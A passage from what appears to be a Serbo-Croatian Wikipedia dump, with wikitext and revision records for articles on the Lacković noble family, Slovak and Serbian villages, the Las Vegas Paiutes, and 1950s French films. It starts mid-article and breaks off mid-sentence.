''Lackfi/Laczkovich'' na [[mađarski jezik|mađarskom jeziku]]. == Historija == Lackovići potječu od plemena Herman (Hermány) i potomci su grofova Raabs, koji su vladali nad [[Nürnberg]]om u srednjem vijeku. Obitelj Raabs potječe od Diepoldingerovaca, koji su vladali nad sjevernom [[Bavarska|Bavarskom]]. Dio plemena iz Nürnberga se [[995.]] godine doseljava u [[Mađarska|Mađarsku]] zajedno s bavarskom princezom Gizelom povodom njezine udaje za budućeg mađarskog kralja [[Stjepan I. Sveti|Stjepana]]. Osnivač obitelji je Ladislav (mađ. László), zvan Lacko (Laczk), koji je bio knez sikuljski u prvoj polovici [[14. stoljeće|14. stoljeća]]. Sikulj (mađ. Székely, odnosno Székelyföld; latinski: Terra siculorum) je područje u istočnom dijelu [[Erdelj]]a (Transilvanije), danas u središnjoj [[Rumunjska|Rumunjskoj]], a nekoć dio [[Ugarska|Ugarske]], gdje žive [[Sekelji]], većinska mađarska etnička grupa. Lackovi potomci, Lackovići, proširili su svoje posjede, utjecaj i vlast, pa su sredinom 14. stoljeća došli i u Hrvatsku, postajući dio hrvatskog plemstva, dajući i hrvatske, slavonske i dalmatinske banove. Nakon što im je kralj Žigmund oduzeo imanja poslije [[Krvavi sabor križevački|Krvavog sabora križevačkog]], knezovi Lacković su se sklonili u [[Kalnik|kalničkoj]] regiji gdje su se njihovi potomci integrirali s domaćim plemstvom. == Članovi == Značajni članovi obitelj Lacković su: * [[Stjepan I. Lacković]], gospodar Međimurja, transilvanski vojvoda (1344.-1350.), hrvatski, slavonski i dalmatinski [[ban]] (1350.-1352.) * [[Andrija I. Lacković]], transilvanski vojvoda (1352.-1359.), napuljski potkralj (1350.-1352.) * [[Nikola I. Lacković]], ban cijele Slavonije (1342.-1343.), transilvanski vojvoda (1367.-1368.) * [[Dionizije I. Lacković]], kninski biskup (1348.-1349.), zagrebački biskup (1349.-1350.), kaločki nadbiskup (1350.-1356.) * [[Stjepan II. Lacković]] "Čakovečki", (u. 1397.), gospodar Međimurja, Lendave i Keszthely-a, hrvatski ban (1371.-1372., 1383.-1384.), transilvanski vojvoda (1372.-1376.), ugarski palatin (1387.-1397.), knez Zadarski (1383., 1387.-1388., 1391.-1392.) * [[Emerik Lacković|Emerik I. Lacković]], transilvanski vojvoda (1368.-1372.), bugarski ban (1365.-1366.), hrvatski, slavonski i dalmatinski ban (1368.), knez Zadarski (1368.-1369.) * [[Dionizije II. Lacković]], transilvanski vojvoda (1359.-1367.) * [[David I. Lacković]], gospodar Našica, slavonski ban (1416.-1418.) * [[Dionizije III. Lacković]], transilvanski biskup (1427.-1428.) * [[Stjepan III. Lacković]], transilvanski vojvoda (1372.-1376.) * [[Juraj I. Lacković]], mačvanski ban (1392.-1393.) * [[Petar Lacković]], plemićki sudac križevačke županije (1513.) * [[Pavao Lacković]], prisjednik banskoga stola (1630.), plemićki sudac varaždinske županije (1647.) == Vanjske veze == * [http://bib.irb.hr/prikazi-rad?&rad=371148 Lackovići iz plemićkog roda Herman] {{Webarchive|url=https://web.archive.org/web/20161014074154/http://bib.irb.hr/prikazi-rad?&rad=371148 |date=2016-10-14 }} * [http://genealogy.euweb.cz/hung/lackfi.html Obitelj Lacković s češko-mađarskom varijantom imena] * [http://ferenczygen.tripod.com/id3.html Popis knezova Ugarske kraljevine] {{Webarchive|url=https://web.archive.org/web/20140815002628/http://ferenczygen.tripod.com/id3.html |date=2014-08-15 }} * [http://www.krizevci.eu/hr_HR/križevci/povijest/krvavi+sabor+križevački Krvavi sabor križevački] {{Webarchive|url=https://web.archive.org/web/20220524163826/https://www.krizevci.eu/hr_HR/kri%C5%BEevci/povijest/krvavi+sabor+kri%C5%BEeva%C4%8Dki/ |date=2022-05-24 }} * [http://www.edelleute.eu/familien.php?id_kronland=19 Popis hrvatskih plemićkih obitelji] {{Webarchive|url=https://web.archive.org/web/20090907172957/http://www.edelleute.eu/familien.php?id_kronland=19 |date=2009-09-07 }} * [http://www.worldstatesmen.org/Croatia.html Popis hrvatskih vladara] * [http://www.hrvatska-povijest.info/index.php/Regionalno/Molve-i-okolica.html Petar Lacković]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://images.google.hr/imgres?imgurl=http://www.hrt.hr/arhiv/ndd/02veljaca/0227%2520KrvaviSabor-link.jpg&imgrefurl=http://www.hrt.hr/arhiv/ndd/02veljaca/0227%2520KrvaviSabor.html&usg=__28sMausWxB0GPiB2HE4IJ4KHi8Y=&h=155&w=220&sz=12&hl=hr&start=5&tbnid=GBKTC8yLqD3urM:&tbnh=75&tbnw=107&prev=/images%3Fq%3Dstjepan%2Blackovi%25C4%2587%26gbv%3D2%26hl%3Dhr%26sa%3DG Uzroci i posljedice Krvavog sabora u Križevcima] * [http://www.szoborlap.hu/szobrok/fotok_30/6080_(3197)_lackfi_istvan_nador_lovas_szobra_keszthely_kalmar_katalin_2000_2.jpg Spomenik Stjepanu II. Lackoviću "Čakovečkom" u Keszthelyju, Mađarska]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://hr.wikisource.org/wiki/Povijest_Hrvatske_I._(R._Horvat)/Ban_Sigismund_Erdedi Pavao Lacković, prisjednik banskoga stola] * [http://hr.wikisource.org/wiki/Povijest_Hrvatske_I._(R._Horvat)/Ban_Nikola_Zrinski_mladji Pavao Lacković, plemićki sudac varaždinske županije] [[Kategorija:Historija Mađarske]] [[Kategorija:Historija Bugarske]] [[Kategorija:Vladarske dinastije]] [[Kategorija:Hrvatske plemićke obitelji]] [[Kategorija:Hrvatska povijest 1102.-1527.]] 3uvzzzpz300vumsgbu23lt44e2lnobr 0 1460768 42602662 42565423 2026-05-28T04:33:45Z Akul59 131397 Akul59 premješta stranicu [[Mnjišek na Hnjiljecu]] na [[Mníšek nad Hnilcom]] 42565423 wikitext text/x-wiki {{Naseljeno mesto u Slovačkoj |mesto = Mnjišek na Hnjiljecu |originalni_naziv = Mníšek nad Hnilcom |slika = MniseknadHnilcom11Slovakia21.JPG |opis_slike = Mnjišek na Hnjiljecu |kraj = [[Košički kraj|Košički]] |okrug = Okrug Gelnjica |nadm visina = 431 |poštanski_kod = |pozivni_broj = |registarska_oznaka = GL |gšir = 48.8042 |gduž = 20.8047 }} '''Mnjišek na Hnjiljecu''' ({{jez-svk|Mníšek nad Hnilcom}}) je naseljeno mjesto u okrugu Gelnjica, u [[Košički kraj|Košičkom kraju]], [[Slovačka|Republika Slovačka]]. == Stanovništvo == {{SK|pop|y}} Prema podacima o broju stanovnika iz {{SK|y}}. godine naselje je imalo {{SK|p}} stanovnika.<ref name="SK-P"/> === Etnički sastav === {{SK|etno}} === Religija === {{SK|relig}} == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Mníšek nad Hnilcom}} * [http://www.mnisek.sk/ Mnjišek na Hnjiljecu] {{sk}} {{klica-selo-Slovačka}} {{Okrug Gelnjica}} [[Kategorija:Okrug Gelnjica]] [[Kategorija:Košički kraj]] khpgnemag5nel81wx9w7asdc54lpqdu 42602667 42602662 2026-05-28T04:43:05Z Akul59 131397 pozivni broj, veb, zastava 42602667 wikitext text/x-wiki {{Naseljeno mesto u Slovačkoj |mesto = Mníšek nad Hnilcom |originalni_naziv = Mníšek nad Hnilcom |slika = MniseknadHnilcom11Slovakia21.JPG |opis_slike = Mníšek nad Hnilcom |gradska_zastava = Mnisek nad hnilcom-gelnica-flag.svg |kraj = [[Košički kraj|Košički]] |okrug = [[Okrug Gelnjica|Gelnjica]] |nadm visina = 431<ref name="base">{{Cite web |title=Základná charakteristika |url=https://datacube.statistics.sk/#!/view/sk/VBD_SK_WIN/om5001rr/v_om5001rr_00_00_00_sk |author=Statistički zavod Slovačke Republike (www.statistics.sk) |language=sk |website=www.statistics.sk |accessdate=2026-05-28}}</ref> |poštanski_kod = 055 64<ref name="base" /> |pozivni_broj = (+421) 53<ref name="base" /> |registarska_oznaka = GL |gšir = 48.8042 |gduž = 20.8047 }} '''Mníšek nad Hnilcom''' ({{jez-svk|Mníšek nad Hnilcom}}) je naseljeno mjesto u [[okrug Gelnjica|okrugu Gelnjica]], u [[Košički kraj|Košičkom kraju]], [[Slovačka|Republika Slovačka]]. == Stanovništvo == {{SK|pop|y}} Prema podacima o broju stanovnika iz {{SK|y}}. godine naselje je imalo {{SK|p}} stanovnika.<ref name="SK-P"/> === Etnički sastav === {{SK|etno}} === Religija === {{SK|relig}} == Reference == {{reflist}} == Vanjske veze == * {{Commons category-inline|Mníšek nad Hnilcom}} * {{Zvanični veb-sajt}} {{sk}} {{klica-selo-Slovačka}} {{Okrug Gelnjica}} {{Normativna kontrola}} [[Kategorija:Okrug Gelnjica]] [[Kategorija:Košički kraj]] pmsttkr7gt6ssynpitlwxpxat1q8ajz 0 1460867 42602669 42565469 2026-05-28T04:53:09Z Akul59 131397 Akul59 premješta stranicu [[Naljepkovo]] na [[Nálepkovo]] 42565469 wikitext text/x-wiki {{Naseljeno mesto u Slovačkoj |mesto = Naljepkovo |originalni_naziv = Nálepkovo |slika = Nálepkovo22.JPG |opis_slike = Naljepkovo |kraj = [[Košički kraj|Košički]] |okrug = Okrug Gelnjica |nadm visina = 590 |poštanski_kod = |pozivni_broj = |registarska_oznaka = GL |gšir = 48.8419 |gduž = 20.6188 }} '''Naljepkovo''' ({{jez-svk|Nálepkovo}}) je naseljeno mjesto u okrugu Gelnjica, u [[Košički kraj|Košičkom kraju]], [[Slovačka|Republika Slovačka]]. == Stanovništvo == {{SK|pop|y}} Prema podacima o broju stanovnika iz {{SK|y}}. godine naselje je imalo {{SK|p}} stanovnika.<ref name="SK-P"/> === Etnički sastav === {{SK|etno}} === Religija === {{SK|relig}} == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Nálepkovo}} * [http://www.nalepkovo.sk/ Naljepkovo] {{sk}} {{klica-selo-Slovačka}} {{Okrug Gelnjica}} [[Kategorija:Okrug Gelnjica]] [[Kategorija:Košički kraj]] dul1dbazh4iq40sltqhk3vsb1xlxyzb 42602674 42602669 2026-05-28T05:05:00Z Akul59 131397 pozivni broj, veb, zastava 42602674 wikitext text/x-wiki {{Naseljeno mesto u Slovačkoj |mesto = Nálepkovo |originalni_naziv = Nálepkovo |slika = Nalepkovo11Slovakia10.jpg |opis_slike = Nálepkovo |gradska_zastava = Nalepkovo-gelnica-flag.svg |kraj = [[Košički kraj|Košički]] |okrug = [[Okrug Gelnjica|Gelnjica]] |nadm visina = 590<ref name="base">{{Cite web |title=Základná charakteristika |url=https://datacube.statistics.sk/#!/view/sk/VBD_SK_WIN/om5001rr/v_om5001rr_00_00_00_sk |author=Statistički zavod Slovačke Republike (www.statistics.sk) |language=sk |website=www.statistics.sk |accessdate=2026-05-28}}</ref> |poštanski_kod = 053 33<ref name="base" /> |pozivni_broj = (+421) 53<ref name="base" /> |registarska_oznaka = GL |gšir = 48.8419 |gduž = 20.6188 }} '''Nálepkovo''' ({{jez-svk|Nálepkovo}}) je naseljeno mjesto u [[okrug Gelnjica|okrugu Gelnjica]], u [[Košički kraj|Košičkom kraju]], [[Slovačka|Republika Slovačka]]. == Stanovništvo == {{SK|pop|y}} Prema podacima o broju stanovnika iz {{SK|y}}. godine naselje je imalo {{SK|p}} stanovnika.<ref name="SK-P"/> === Etnički sastav === {{SK|etno}} === Religija === {{SK|relig}} == Reference == {{reflist}} == Vanjske veze == * {{Commons category-inline|Nálepkovo}} * {{Zvanični veb-sajt}} {{sk}} {{klica-selo-Slovačka}} {{Okrug Gelnjica}} {{Normativna kontrola}} [[Kategorija:Okrug Gelnjica]] [[Kategorija:Košički kraj]] nu2yvf00wg3q7tnfexe6rj50erdztow 1 1463092 42602664 5613754 2026-05-28T04:33:45Z Akul59 131397 Akul59 premješta stranicu [[Razgovor:Mnjišek na Hnjiljecu]] na [[Razgovor:Mníšek nad Hnilcom]] 5613754 wikitext text/x-wiki {{razgovor zaglavlje}} hw594haz91q2xnj4zg0tepef6uvwqr7 1 1463193 42602671 5613855 2026-05-28T04:53:09Z Akul59 131397 Akul59 premješta stranicu [[Razgovor:Naljepkovo]] na [[Razgovor:Nálepkovo]] 5613855 wikitext text/x-wiki {{razgovor zaglavlje}} hw594haz91q2xnj4zg0tepef6uvwqr7 0 1478096 42602649 42318057 2026-05-28T01:56:13Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602649 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = Les Orgueilleux | slika = The Proud and the Beautiful.jpg | režija = [[Yves Allégret]]<br>Rafael E. Portas | producent = Raymond Borderie<br>Salvador Elizondo | based on = {{based on|Typhus|[[Jean-Paul Sartre]]}} | scenario = [[Yves Allégret]]<br>[[Jean Aurenche]]<br><br>[[Jean Clouzot]]<br><small>(dijalozi)</small> | uloge = [[Michèle Morgan]]<br>[[Gérard Philipe]]<br>[[Carlos López Moctezuma]]<br>Roberto Manuel Mendoza | muzika = [[Paul Misraki]] (selekcija) | fotografija = [[Alex Phillips]] | montaža = Claude Nicole | distributer = [[Columbia Pictures]] (Francuska) | premijera = {{Filmdate|1953}} <small>([[14. venecijanski filmski festival|Venecija]]) </small> | trajanje = 103 min. | zemlja = {{flagcountry|FRA}}<br>{{flagcountry|MEX}} | jezik = francuski<br>španski }} '''''Les Orgueilleux''''' ({{jez-sh|Ponosni}}) je [[Francuska|francusko]]-[[Meksičko|meksički]] crno-bijelio igrani film snimljen 1953. u režiji [[Yves Allégre|Yvesa Allégreta]]. Temelji se na originalnom scenariju [[Jean-Paul Sartre]]a pod naslovom Typhus. Radnja je smještena u [[Alvarado]], [[Meksiko|meksički]] gradić na obali [[Meksički zaljev|Meksičkog zaljeva]] gdje je francuska turistkinja (koju tumači [[Michèle Morgan]]) došla upravo u trenutku kada u njemu izbija epidemija cerebralnog meningitisa. Radnja prikazuje kako nakon smrti muža započinje neobični odnos s alkoholu sklonim francuskim ljekarom (čiji lik tumači [[Gérard Philipe]]) koji se nastoji suprotstaviti epidemiji. ''Les Orgueilleux'', u kome se u jednoj od malih uloga pojavljuje proslavljeni španski režiser [[Luis Buñuel]], je izazvao pažnju zbog prikaza lokalnih običaja i vještog korištenja [[kršćanstvo|kršćanske]] simbolike. ==Vanjske veze== *{{IMDB title|id=0046149}} *[http://www.dvdrama.com/fiche.php?6907&ouzesuis=2&mode=test ''Les Orgueilleux'']{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }} at Dvdrama *[http://filmsdefrance.com/FDF_Les_Orgueilleux.html ''Les Orgueilleux''] {{Webarchive|url=https://archive.today/20130123045102/http://filmsdefrance.com/FDF_Les_Orgueilleux.html |date=2013-01-23 }} at Films de France {{Yves Allégret}} {{Normativna kontrola}} {{DEFAULTSORT:Orgueilleux, Les}} [[Kategorija:Dramski filmovi]] [[Kategorija:Francuski filmovi]] [[Kategorija:Meksički filmovi]] jvvawymwyny7k01469mg8acq46yv6iw 0 1503175 42602628 42264674 2026-05-27T23:51:59Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602628 wikitext text/x-wiki '''Las Vegas Pajuti''' (Las Vegas Paiutes, Nu-a'gun-tits, Nuaguntits), edna od malenih bandi [[Pajuti]] Indijanaca nastanjenih u južnoj [[Nevada|Nevadi]] u području doline Las Vegasa, kao južni susjedi bande [[Moapa]] i na zapad od [[Shivwits]] Indijanaca, sa kojima zajedno pripadaju u grupu Southern Numic govornika. Las Vegas Pajuti u prošlosti bili su lovci i sakupljači kojima su kolonisti procijenili broj na oko 1,000 u dolini Las Vegasa. U novije vrijeme (1999) preostalo ih je oko 50. == Vanjske veze == * [http://www.1st100.com/part1/bringhurst.html The Search for Eternal Life] {{Webarchive|url=https://web.archive.org/web/20120705045901/http://www.1st100.com/part1/bringhurst.html |date=2012-07-05 }} * [http://www.indiancountry.com/content.cfm?id=1027691940 Las Vegas Paiutes oust entire council] {{Webarchive|url=https://web.archive.org/web/20071008144353/http://www.indiancountry.com/content.cfm?id=1027691940 |date=2007-10-08 }} * [http://www.lvlife.com/2000/01/features/story03.html Lost In The Shuffle] {{Webarchive|url=https://web.archive.org/web/20061209083157/http://www.lvlife.com/2000/01/features/story03.html |date=2006-12-09 }} [[Kategorija:Pajuti]] [[Kategorija:Indijanci, Nevada]] [[Kategorija:Indijanci Velikog Bazena]] [[Kategorija:Indijanska plemena]] ezapavp5l44zazi69jbtiai618d5oej 0 1775767 42602556 42316776 2026-05-27T14:18:09Z Gagi0909 180346 42602556 wikitext text/x-wiki {{Naseljeno mesto u Srbiji |mesto=Perućac |slika=Perućac and the Drina river - Перућац и Дрина.JPG |opis_slike= Pogled na naselje Perućac i reku Drinu sa Tare |okrug=Zlatiborski |opština=Bajina Bašta |nadm visina=316 |populacija=845 |poštanski kod=31256 |pozivni broj=031 |registarska oznaka=UE |gšir=43.954 |gduž=19.421166 }} '''Perućac''' je naselje u [[Srbija|Srbiji]] u [[opština Bajina Bašta|opštini Bajina Bašta]] u [[Zlatiborski okrug|Zlatiborskom okrugu]]. Prema popisu iz [[Popis stanovništva 2002. u Srbiji|2002.]] bilo je 845 stanovnika (prema popisu iz [[Popis stanovništva 1991. u SFRJ|1991.]] bilo je 687 stanovnika). U rejonu sela se nalazi [[hidroelektrana „Bajina Bašta“]] i [[nekropola]] [[stećak]]a [[Mramorje]], iz [[XIV vek]]a. [[Datoteka:PERUCAC Image.png]] == Nekropola stećaka == {{Glavni članak|Nekropola stećaka u Perućcu}} ''Mramorje'' ili ''Bagruša'' je [[Srednji vek|srednjovekovna]] [[nekropola]] [[stećak]]a koja spada među najočuvanije nekropole tog podneblja<ref name="SK" />. Potiče iz [[XIV vek]]a i prostire se između [[Reka Drina|reke Drine]] i magistralnog puta koji prati njen tok, na samom ulazu u naselje. Lokalitet se nalazi pod zaštitom [[Republika Srbija|Republike Srbije]], kao [[spomenik kulture od izuzetnog značaja]]<ref name="SK">{{SK-SANU|Link=525|Ime=Nekropola stećaka}}</ref><ref>[http://www.kultura.sr.gov.yu/?jez=sc&p=901 ''„Spomenici kulture od izuzetnog značaja“''] {{Webarchive|url=https://web.archive.org/web/20081015200710/http://www.kultura.sr.gov.yu/?jez=sc&p=901 |date=2008-10-15 }} ([[Ministarstvo kulture Republike Srbije]]) {{sr}}</ref>, ali je i pored toga ugrožen rekom Drinom sa jedne i širenjem samog Perućca, sa druge strane<ref name="SK" />. == Geografija == U naselju Perućac, teče verovatno najkraća reka u svetu. Duga je ravno 365 metara, pa mnogi kažu da je reka Vrelo, bistra kao oko, duga - godinu dana. Ova reka koja se posle kraćeg toka i predivnog vodopada uliva u Drinu, ima sve što imaju i one mnogo veće svetkse reke - veliki, moćni izvor iz koga kulja beličasta voda, jedan ribnjak na desnoj obali, vodenicu na levoj, jednu levu pritoku u vidu bistrog potočića, naselje na levoj obali, dva mosta. Drina sa rekom Vrelo je u akciji izbora sedam srpskih čuda prirode u organizaciji Turističke organizacije Srbije proglašena za prvu prirodnu lepotu Srbije. == Demografija == U naselju Perućac živi 691 punoletni stanovnik, a prosečna starost stanovništva iznosi 41,4 godina (40,3 kod muškaraca i 42,3 kod žena). U naselju ima 317 domaćinstava, a prosečan broj članova po domaćinstvu je 2,67. Ovo naselje je velikim delom naseljeno [[Srbi]]ma (prema popisu iz [[2002]]. godine). {| width="50%" style="background:transparent; " | valign="top" width="50%" style="border:1px solid gray; " | <!-- ============================================================================================= POČETAK GRAFIKA ===============================================================================================--> <center> :''Grafik promene broja stanovnika tokom 20. veka'' {| | style="padding: 0;" | <timeline> ImageSize = width:250 height:200 PlotArea = left:40 right:10 top:10 bottom:20 TimeAxis = orientation:horizontal AlignBars = justify Colors = id:gray1 value:gray(0.9) DateFormat = yyyy Period = from:1940 till:2010 ScaleMajor = unit:year increment:10 start:1940 PlotData = bar:1014 color:gray1 width:1 from:start till:end bar:676 color:gray1 from:start till:end bar:338 color:gray1 from:start till:end bar:0 color:gray1 LineData = layer:front points:(62,121)(77,125) color:blue width:2 points:(77,125)(100,131) color:blue width:2 points:(100,131)(128,115) color:blue width:2 points:(128,115)(157,154) color:blue width:2 points:(157,154)(185,135) color:blue width:2 points:(185,135)(217,161) color:blue width:2 </timeline> |} </center> <!-- ============================================================================================= KRAJ GRAFIKA ===============================================================================================--> | valign="down" width="50%" | {{Popis |izvor=<ref>{{Stat Knjiga 9}}</ref> |p1948=608 |p1953=629 |p1961=666 |p1971=569 |p1981=802 |p1991=687 |p1991n=683 |p2002s=860 |p2002=845 }} |} {{Grafikon postoci |izvor=<ref>{{Stat Knjiga 1}}</ref> |širina=300px |naslov=Etnički sastav prema popisu iz [[Popis stanovništva 2002. u Srbiji|2002.]] |pozadina=#ddd |pozicija=left |šipke= {{Vrsta sa postotkom|[[Srbi]]|yellow|832|98.46}} {{Vrsta sa postotkom|[[Crnogorci]]|blue|3|0.35}} {{Vrsta sa postotkom|[[Jugosloveni]]|red|2|0.23}} {{Vrsta sa postotkom|[[Hrvati]]|green|1|0.11}} {{Vrsta sa postotkom|[[Makedonci]]|orange|1|0.11}} {{Vrsta sa postotkom|nepoznato|cyan|3|0.35}} }} {{Grafikon piramida |izvor=<ref>{{Stat Knjiga 2}}</ref> |širina=300px |naslov= |pozadina=#eee |levo2=m |desno2=ž |šipke levo desno= {{Vrsta levo desno|?|gray|0|0.0|2.08|1}} {{Vrsta levo desno|80+|gray|6|12.5|25.0|12}} {{Vrsta levo desno|75-79|gray|9|18.75|39.58|19}} {{Vrsta levo desno|70-74|gray|15|31.25|41.66|20}} {{Vrsta levo desno|65-69|gray|19|39.58|56.25|27}} {{Vrsta levo desno|60-64|gray|40|83.33|75.0|36}} {{Vrsta levo desno|55-59|gray|20|41.66|62.5|30}} {{Vrsta levo desno|50-54|gray|39|81.25|81.25|39}} {{Vrsta levo desno|45-49|gray|36|75.0|81.25|39}} {{Vrsta levo desno|40-44|gray|16|33.33|50.0|24}} {{Vrsta levo desno|35-39|gray|28|58.33|62.5|30}} {{Vrsta levo desno|30-34|gray|30|62.5|50.0|24}} {{Vrsta levo desno|25-29|gray|27|56.25|47.91|23}} {{Vrsta levo desno|20-24|gray|34|70.83|62.5|30}} {{Vrsta levo desno|15-19|gray|21|43.75|62.5|30}} {{Vrsta levo desno|10-14|gray|25|52.08|62.5|30}} {{Vrsta levo desno|5-9|gray|19|39.58|37.5|18}} {{Vrsta levo desno|0-4|gray|14|29.16|31.25|15}} |prosekm=40.3 |prosekž=42.3 }} {{DomaćinstvaNaseljaSrbija|139|122|173|148|232|244|317|86|87|50|62|16|10|4|-|1|1|2.67}} {{BrakNaseljaSrbija|340|108|207|11|13|1|384|88|206|72|17|1}} {{ZanimanjaNaseljaSrbija|154|11|6|-|33|14|36|10|17|6|94|13|1|-|30|2|-|12|22|2|248|24|7|-|63|16|36|22|39|8|1|3|5|2|5|2|-|-|3|1|-|-|6|2|3|-|-|-|2|3|5|8|7|5|-|-|3}} == Galerija slika == <gallery> Image:Perućac lake - Језеро Перућац.JPG|Jezero Perućac - pogled sa Tare Image:The Confluence of the Vrelo river into the Drina river - Perućac - Уливање речице Врело у Дрину - Перућац.JPG|Rečica Vrelo u Perućcu Image:Entrance part of Perućac - Улазни део Перућца.JPG|Ulaz u naselje Perućac </gallery> == Povezano == * [[Perućačko jezero]] == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Perućac}} * [http://www.discoverserbia.org/sr/jugozapadna-srbija/perucacko-jezero Perućačko jezero] {{sr}} * [http://www.fallingrain.com/world/RI/00/Perucac.html Mape, aerodromi i vremenska situacija lokacija (Fallingrain)] * [http://wikimapia.org/maps?ll=43.954,19.421166&spn=0.3,0.3 Satelitska mapa (Wikimapia)] * [http://www.maplandia.com/serbia-and-montenegro/srbija/perucac/ Gugl satelitska mapa (Maplandia)] * [http://www.mapquest.com/maps/map.adp?latlongtype=decimal&latitude=43.954&longitude=19.421166&zoom=8 Plan naselja na mapi (Mapquest)] {{Opština Bajina Bašta}} [[Kategorija:Opština Bajina Bašta]] [[Kategorija:Naselja u Zlatiborskom upravnom okrugu]] dfheydlzh14r5yecxcyh1170v1fkd41 0 1820761 42602698 42318094 2026-05-28T08:41:09Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602698 wikitext text/x-wiki {{For|film Abela Gancea|Lucrezia Borgia (1935 film)}} {{Infokutija film |naslov=Lucrèce Borgia<br>(Lucrezia Borgia) |slika= Lucrèce Borgia 1953 film.jpg |režija= [[Christian-Jaque]] |based on = {{based on|''Lukrezia Borgia''|[[Alfred Schirokauer]]}} |producent= [[Alexandre Mnouchkine]] <br> [[Angelo Rizzoli]] <br> [[Francis Cosne]] <br> Georges Dancigers |scenario= Christian-Jaque <br> [[Cécil Saint-Laurent]] <br> Jacques Sigurd (dijalozi) |uloge= [[Martine Carol]] <br> [[Pedro Armendáriz]] |muzika = [[Maurice Thiriet]] |fotografija = [[Christian Matras (direktor fotografije)|Christian Matras]] |montaža = Jacques Desagneaux |premijera= {{Filmdate|1953|10|23|df=y|Francuska}} |studio=[[Les Films Arianne]]<br>Rizzoli Films |zemlja= {{flag|Francuska}}<br>{{flag|Italija}} |trajanje= 120 min. |jezik= francuski }} '''''Lucrèce Borgia''''' ili '''''Lucrezia Borgia''''' je [[francuska|francusko]]-[[italija]]nski historijski film snimljen 1953. u režiji [[Christian-Jacque]]a. Temelji se na romanu ''Lukrezia Borgia'' njemačkog pisca [[Alfred Schirokauer|Alfreda Schirokauer]]a. Naslovni lik, koga tumači [[Martine Carol]] je, [[Lucrezia Borgia]], sestra beskrupuloznog rimskog aristokrata [[Cesare Borgia|Cesarea Borgije]] (čiji lik tumači [[Pedro Armendáriz]]) koji je krajem 15. vijeka u Italiji nastoji iskoristiti da preko političkih brakova zagospodari [[Italija|Italijom]]. Za film je karakteristično da, s jedne strane, nastoji izbjeći negativne stereotipove vezane uz naslovni lik kao što su reputacija trovačice i [[incest]]uozna veza sa bratom, dok, sa druge strane, prikazuje [[porodica Borgia|porodicu Borgia]] kao oličenje [[dekadencija|dekadentnog]] zla, pa, između ostalog, film sadrži i scene u kojoj se ljude love iz zabave, a što je predstavljalo šok za tadašnju publiku. Još više pažnje su, međutim, izazvale scene kupanja u kojima se Martine Carol pojavljuje potpuno [[filmska golotinja|gola]], kao i scene [[orgija]] na dvoru Borgia; one su, s obzirom na neusklađenost sa tadašnjim [[Produkcijski kodeks MPAA|strogim cenzorskim standardima]] bile isječene iz verzija prikazanih u SAD. Uspjeh ''Lucrezie Borgije'' je, pak, potakao da se u Italiji tokom sljedeće decenije i pol snimi nekoliko niskobudžetnih [[eksploatacijski film|eksploatacijskih]] filmova koji su se bavili istim likom. ==Uloge== *Martine Carol - [[Lucrezia Borgia|Lucrece Borgia]] *Pedro Armendáriz - [[Cesare Borgia|Cesar Borgia]] *[[Massimo Serato]] - [[Alfonso od Aragona|vojvoda od Aragona]] *Valentine Tessier - [[Gulia Farnese|Julie Farmesa]] *Louis Seigner - Mag, vrač *[[Arnoldo Foa]] - [[Micheletto]] *[[Christian Marquand]] - Paolo *[[Tania Fedor]] - Vanna *Georges Lannes - Ambasador *[[Maurice Ronet]] - Perott ==Vanjske veze== *{{IMDb title|0044857}} *{{bfidb title|41031}} *[http://filmsdefrance.com/FDF_Lucrece_Borgia_1953_rev.html ''Lucrèce Borgia''] {{Webarchive|url=https://web.archive.org/web/20121025140523/http://filmsdefrance.com/FDF_Lucrece_Borgia_1953_rev.html |date=2012-10-25 }} at filmsdefrance.com {{Christian-Jaque}} {{Normativna kontrola}} {{DEFAULTSORT:Lucrece Borgia}} [[Kategorija:Francuski filmovi]] [[Kategorija:Italijanski filmovi]] [[Kategorija:Historijski filmovi]] 9t8vfcefy6wzezc793u9yrjfr2k09yf 0 2132868 42602647 42318054 2026-05-28T01:54:38Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602647 wikitext text/x-wiki {{Infokutija film | naslov = Les Grandes Manœuvres | slika = The Grand Maneuver poster.jpg | opis = filmski poster | režija = [[René Clair]] | producent = René Clair<br />André Daven | scenario = René Clair<br />Jérôme Géronimi<br />[[Jean Marsan]] | uloge = [[Michèle Morgan]]<br />[[Gérard Philipe]] | muzika = [[Georges Van Parys]] | fotografija = [[Robert Lefebvre]] | montaža = Louisette Hautecoeur<br />Denise Natot | distributer = Cinédis | premijera = {{film date|1955|10|17|Moskva|df=yes}} | trajanje = 106 min. | zemlja = FRA | jezik = francuski }} '''''Les Grandes Manœuvres''''' ({{jez-sh|Veliki manevri}}) je [[Francuska|francuski]] igrani film snimljen 1955. u režiji [[René Clair|Renéa Claira]], poznat kao njegovo prvo ostvarenje u boji. Radnja, inspirirana legendom o [[Don Juan]]u, se odigrava u francuskom garnizonskom gradu u ljeto 1913. godine. Protagonist, čiji lik tumači [[Gérard Philipe]], je konjički oficir poznat po reputaciji neodoljivog zavodnika, i koji je nastoji potvrditi prihvativši okladu da može zavesti prvu ženu koju sretne, pri čemu izbor pada na vlasnicu lokalne trgovine (čiji lik tumači [[Michèle Morgan]]). Clair je film u boji namjeravao snimiti još od kraja 1930-ih, ali su ga u tome, osim rata i drugih okolnosti, priječio i stav da "film mora predstavljati otklon od stvarnosti". Zbog toga su ''Les Grandes Manœuvres'' namjerno učinjeni sličnim crno-bijelom filmu, prije svega zbog korištenje sivih, crnih ili bijelih kostima i rekvizita, odnosno izbjegavanju svih jarkih boja. Inspiraciju je, pak, Clair pronašao u vlastitom djetinjstvu, odnosno odrastanju u garnizonskom gradu i slušanju priča o zavodničkim pothvatima konjičkih oficira. U film je uložen veliki drug da se, sa velikom dozom nostalgije, rekreira svijet [[Belle 